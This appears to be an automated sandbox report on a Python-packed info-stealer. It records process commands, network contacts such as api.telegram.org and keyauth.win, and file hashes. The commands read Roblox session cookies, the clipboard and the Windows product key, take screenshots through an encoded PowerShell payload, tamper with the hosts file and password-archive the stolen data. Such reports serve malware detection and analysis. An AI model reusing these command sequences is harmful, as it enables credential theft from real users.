C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3cbvsfgj\3cbvsfgj.cmdline"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES20B2.tmp" "c:\Users\Admin\AppData\Local\Temp\3cbvsfgj\CSC28B5ADE741E84B71B23B54C5AE29837E.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5096"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 5096

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5096"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4000"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 5096

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4000

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4000"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4000

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1884"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1884"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 1884

C:\Windows\system32\taskkill.exe

taskkill /F /PID 1884

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4756"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4756"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4756

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4756

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4512"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4512"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4512

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4512

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3604"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3604"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 3604

C:\Windows\system32\taskkill.exe

taskkill /F /PID 3604

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI47042\rar.exe a -r -hp"yuchi" "C:\Users\Admin\AppData\Local\Temp\dkzR1.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI47042\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI47042\rar.exe a -r -hp"yuchi" "C:\Users\Admin\AppData\Local\Temp\dkzR1.zip" *

C:\Windows\system32\BackgroundTransferHost.exe

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 blank-gotwo.in udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 google.com udp
GB 142.250.178.14:443 google.com tcp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 14.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 196.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 keyauth.win udp
US 172.67.72.57:443 keyauth.win tcp
US 8.8.8.8:53 57.72.67.172.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 99.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI47042\python311.dll

MD5 5f6fd64ec2d7d73ae49c34dd12cedb23
SHA1 c6e0385a868f3153a6e8879527749db52dce4125
SHA256 ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967
SHA512 c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

C:\Users\Admin\AppData\Local\Temp\_MEI47042\VCRUNTIME140.dll

MD5 49c96cecda5c6c660a107d378fdfc3d4
SHA1 00149b7a66723e3f0310f139489fe172f818ca8e
SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
SHA512 e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

memory/5112-26-0x00007FF842760000-0x00007FF842D49000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_ctypes.pyd

MD5 00f75daaa7f8a897f2a330e00fad78ac
SHA1 44aec43e5f8f1282989b14c4e3bd238c45d6e334
SHA256 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f
SHA512 f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

C:\Users\Admin\AppData\Local\Temp\_MEI47042\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/5112-50-0x00007FF857020000-0x00007FF85702F000-memory.dmp

memory/5112-49-0x00007FF8536D0000-0x00007FF8536F3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_ssl.pyd

MD5 f9cc7385b4617df1ddf030f594f37323
SHA1 ebceec12e43bee669f586919a928a1fd93e23a97
SHA256 b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6
SHA512 3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_sqlite3.pyd

MD5 1a8fdc36f7138edcc84ee506c5ec9b92
SHA1 e5e2da357fe50a0927300e05c26a75267429db28
SHA256 8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882
SHA512 462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_socket.pyd

MD5 1a34253aa7c77f9534561dc66ac5cf49
SHA1 fcd5e952f8038a16da6c3092183188d997e32fb9
SHA256 dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f
SHA512 ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_queue.pyd

MD5 347d6a8c2d48003301032546c140c145
SHA1 1a3eb60ad4f3da882a3fd1e4248662f21bd34193
SHA256 e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192
SHA512 b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_lzma.pyd

MD5 542eab18252d569c8abef7c58d303547
SHA1 05eff580466553f4687ae43acba8db3757c08151
SHA256 d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9
SHA512 b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_hashlib.pyd

MD5 b227bf5d9fec25e2b36d416ccd943ca3
SHA1 4fae06f24a1b61e6594747ec934cbf06e7ec3773
SHA256 d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7
SHA512 c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_decimal.pyd

MD5 e3fb8bf23d857b1eb860923ccc47baa5
SHA1 46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0
SHA256 7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3
SHA512 7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c

C:\Users\Admin\AppData\Local\Temp\_MEI47042\_bz2.pyd

MD5 c413931b63def8c71374d7826fbf3ab4
SHA1 8b93087be080734db3399dc415cc5c875de857e2
SHA256 17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293
SHA512 7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

C:\Users\Admin\AppData\Local\Temp\_MEI47042\unicodedata.pyd

MD5 8c42fcc013a1820f82667188e77be22d
SHA1 fba7e4e0f86619aaf2868cedd72149e56a5a87d4
